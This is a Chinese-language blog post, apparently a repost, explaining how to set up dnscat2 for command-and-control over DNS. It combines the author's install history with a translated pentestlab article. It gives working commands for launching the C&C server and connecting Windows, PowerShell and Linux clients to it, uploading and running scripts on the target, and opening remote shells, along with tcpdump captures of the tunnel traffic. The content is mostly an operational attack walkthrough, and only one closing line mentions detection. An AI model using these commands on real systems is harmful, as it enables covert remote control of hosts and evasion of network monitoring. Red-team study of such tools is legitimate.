dns tunnel C&C


通過DNS控制主機以及執行命令

我的ubuntu 安裝過程
 1854  mkdir dns_tunnel_tool
 1855  cd dns_tunnel_tool/
 1856  ls
 1857  git clone https://github.com/iagox86/dnscat2.git
 1858  cd dnscat2/server/
 1859  bundle install
 1860  sudo apt install ruby-bundler
 1861  bundle install
 1862  sudo apt-get install libpq-dev
 1863  bundle install
 1864  gem install salsa20 -v '0.1.1'
 1865  sudo gem install salsa20 -v '0.1.1'
 1866  ruby
 1867  ruby -v
 1869  sudo  apt  install   ruby-dev
 1870  sudo gem install salsa20 -v '0.1.1'
 1871  bundle install
 1872  ls
 1873  cd ..
 1874  ls
 1875  cd client/
 1876  ls
 1877  bundle install
 1878  ls
 1879  make
 1880  ls
server:
ruby dnscat2.rb --dns "domain=a.xxx.com" --no-cache

1881 ./dnscat --secret=d51c2caf4d4575aa86bbdd6b354bf972 a.friendskak.com
在server端執行,上傳文件到client然后執行你想要的任何命令,本質上client扮演的是服務器監聽操作:
客戶端提示字樣:New window created: 21
session -i 21 (數字和上面一致)
upload run.sh run.sh
exec "bash run.sh"
然后在你的run.sh放入希望執行的內容

輸入:
shell
然后 session -i 上面命令的提示window編號
即可遠程shell了

注意:執行操作前,最好先ping下看到pong再操作!

 傳輸文件時候,客戶端提示:

Session established!
Got a command: COMMAND_PING [request] :: request_id: 0x0001 :: data: RDZNALUEEREZTOWNSRLOHDOTGDFSPHVWOTXZDDKULQCYHHAEWGALWGELDQIRZOIWIPASAAFJLQSQWZOTYESKXNSENBFIUYSDQHXFUMVCYPKIWQIQTSDHKROCDEUGAIEVBASZMJQFRGLXSKIIRMGYPZNNEKSLQKXHFRGAOLNHRXALIKISBGVTPVFWFDTVGWKGNYRJPADVWOWBWGRGIAQCTBHVKUBNXDNDMCVSEPMYFXBDLXHJDLREANVWTTBJLDWR
[[ WARNING ]] :: Got a ping request! Responding!
Response: COMMAND_PING [response] :: request_id: 0x0001 :: data: RDZNALUEEREZTOWNSRLOHDOTGDFSPHVWOTXZDDKULQCYHHAEWGALWGELDQIRZOIWIPASAAFJLQSQWZOTYESKXNSENBFIUYSDQHXFUMVCYPKIWQIQTSDHKROCDEUGAIEVBASZMJQFRGLXSKIIRMGYPZNNEKSLQKXHFRGAOLNHRXALIKISBGVTPVFWFDTVGWKGNYRJPADVWOWBWGRGIAQCTBHVKUBNXDNDMCVSEPMYFXBDLXHJDLREANVWTTBJLDWR
Got a command: COMMAND_UPLOAD [request] :: request_id: 0x0002 :: filename: run2.sh :: data: 0x2d bytes
Response: COMMAND_UPLOAD [response] :: request_id: 0x0002

導語:即使在一些限制非常嚴格的環境下,DNS協議還是允許處理內部和外部的通訊的。所以通過dns就可以建立起目標主機和命令&控制服務器之間的通訊。

即使在一些限制非常嚴格的環境下,DNS協議還是允許處理內部和外部的通訊的。所以通過dns就可以建立起目標主機和命令&控制服務器之間的通訊。由於命令和數據包都是在合法的dns查詢中傳輸的,所以很不容易被檢測到。

Dnscat2是可以實現這一技術的,它可以通過dns協議創建一個命令和控制信道。這一工具使用基於C語言編寫的客戶端(種植體),客戶端在目標機器執行,進而與服務端建立通信。通信過程中流量是進行加密傳輸的,並且通過預先共享的密鑰進行認證。

在kali2.0中安裝這一工具可以通過以下命令:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
bundle install

通過DNS控制主機以及執行命令

命令以及控制服務器可以通過下面命令進行初始化:

ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cache

通過DNS控制主機以及執行命令

適用於windows的客戶端已經編譯好,你可以從https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip下載。下載完之后,只需運行一條於C&C服務端進行連接的命令:

dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169

通過DNS控制主機以及執行命令

在C&C服務端,紅隊就可以進行會話交互:

session -i 1

通過DNS控制主機以及執行命令

通過執行“help”命令會列出所有可執行的命令:

通過DNS控制主機以及執行命令

dnscat2的一些命令是可以上傳和下載文件的,並且可以通過執行其他程序得到一個遠程shell。

或者可以使用“shell“命令會打開另外一個會話。

通過DNS控制主機以及執行命令

以下輸出會在目標機器的命令行中顯示:

通過DNS控制主機以及執行命令

shell是交互式的,而且全部是通過dns進行傳輸的,速度而且很快。

通過DNS控制主機以及執行命令

通過調用exec命令可以遠程打開程序:

exec notepad.exe

通過DNS控制主機以及執行命令

Luke Baggett 已經開發出powershell版本的客戶端,並且已經在blackhillsinfosec網站中進行了介紹,這一版本的客戶端的命令和已經編譯好的客戶端命令是相同的,不過他還添加了一些其他功能,比如交互式的powershell會話以及可以在內存中執行任何程序。

以下命令就是在目標機器執行powershell版本客戶端:

PS C:> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.169

還可以通過以下命令直接建立powershell會話:

exec psh

通過DNS控制主機以及執行命令

這樣會創建一個新的控制台,可以執行PowerShell命令和腳本:

通過DNS控制主機以及執行命令

結論

dnscat2通過DNS進行控制和執行命令有很多優點,比如:

1.支持多個會話
2.流量加密
3.通過使用密鑰防止MiTM攻擊
4.從內存中直接執行powershell腳本
5.隱蔽的

檢測這樣的攻擊是非常困難的,因為任意命令是通過合法的DNS流量進行傳輸的,所以應該強調監控DNS查詢的長度,並允許主機只與受信任的DNS服務器進行通信。

文章翻譯於https://pentestlab.blog/2017/09/06/command-and-control-dns/,如若轉載,請注明原文地址: http://www.4hou.com/technology/7668.html
 
 
在沒有任何數據傳輸下,可以看到dnscat在發送dns 心跳報文:
|client$>sudo  tcpdump -i wlo1 -nt -s 500 port domain
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlo1, link-type EN10MB (Ethernet), capture size 500 bytes
IP 192.168.10.115.41006 > 223.5.5.5.53: 43242+ MX? ad5d01003313f88400a5d907e33f3f2af5.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 43242 1/0/0 MX a198010033062a2fd0a284ffff61cae7a9.a.xxxxx.com. 10 (121)
IP 192.168.10.115.41006 > 223.5.5.5.53: 16676+ CNAME? f6a601003330523007755707e44274c164.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 16676 1/0/0 CNAME 7e6b010033d158b478d545ffff61cae7a9.a.xxxxx.com. (119)
IP 192.168.10.115.41006 > 223.5.5.5.53: 43060+ TXT? 6d4101003317bf4a4bc85a07e5384cf5bb.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 43060 1/0/0 TXT "2cf2010033fd736a21d252ffff61cae7a9" (117)
IP 192.168.10.115.41006 > 223.5.5.5.53: 38724+ TXT? 441c0100336e4b13ee2ea107e64f4b9aaf.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 38724 1/0/0 TXT "f20c0100337690d71b336effff61cae7a9" (117)
IP 192.168.10.115.41006 > 223.5.5.5.53: 3012+ TXT? 4c230100339c5fbda3152907e73cfa807b.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 3012 1/0/0 TXT "a99b010033f2b21a38b488ffff61cae7a9" (117)
IP 192.168.10.115.41006 > 223.5.5.5.53: 51445+ MX? 553501003324eb6cb42f0c07e8e6de1dd3.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 51445 1/0/0 MX dbcc0100334da4c1ef3984ffff61cae7a9.a.xxxxx.com. 10 (121)
IP 192.168.10.115.41006 > 223.5.5.5.53: 8436+ CNAME? 29900100338a6808f0b79f07e914b221c9.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 8436 1/0/0 CNAME 949a0100335b2115961200ffff61cae7a9.a.xxxxx.com. (119)
IP 192.168.10.115.41006 > 223.5.5.5.53: 55127+ MX? 2a6b01003377fa81e80dda07ea27177602.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 55127 1/0/0 MX 53550100336f50c7577e02ffff61cae7a9.a.xxxxx.com. 10 (121)
IP 192.168.10.115.41006 > 223.5.5.5.53: 21274+ MX? 43be01003377c6c176827007eba97492c8.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 21274 1/0/0 MX 0cbf010033b13ee136e779ffff61cae7a9.a.xxxxx.com. 10 (121)
IP 192.168.10.115.41006 > 223.5.5.5.53: 41474+ CNAME? 0426010033e7b72e15cf0407ec978e649e.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 41474 1/0/0 CNAME 785b010033669bc40db0c8ffff61cae7a9.a.xxxxx.com. (119)
IP 192.168.10.115.41006 > 223.5.5.5.53: 53280+ CNAME? 6594010033c0a84ee0828707ed686811f5.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 53280 1/0/0 CNAME c39b010033bdc067cd2326ffff61cae7a9.a.xxxxx.com. (119)
IP 192.168.10.115.41006 > 223.5.5.5.53: 49458+ TXT? 53850100335e9bd760b9b807eee85c8dc3.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 49458 1/0/0 TXT "1a10010033f72b7200bc02ffff61cae7a9" (117)
IP 192.168.10.115.41006 > 223.5.5.5.53: 63355+ TXT? 07a6010033555222e0706f07ef6562310d.a.xxxxx.com. (70)
IP 223.5.5.5.53 > 192.168.10.115.41006: 63355 1/0/0 TXT "c9bd0100339830e8373196ffff61cae7a9" (117)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM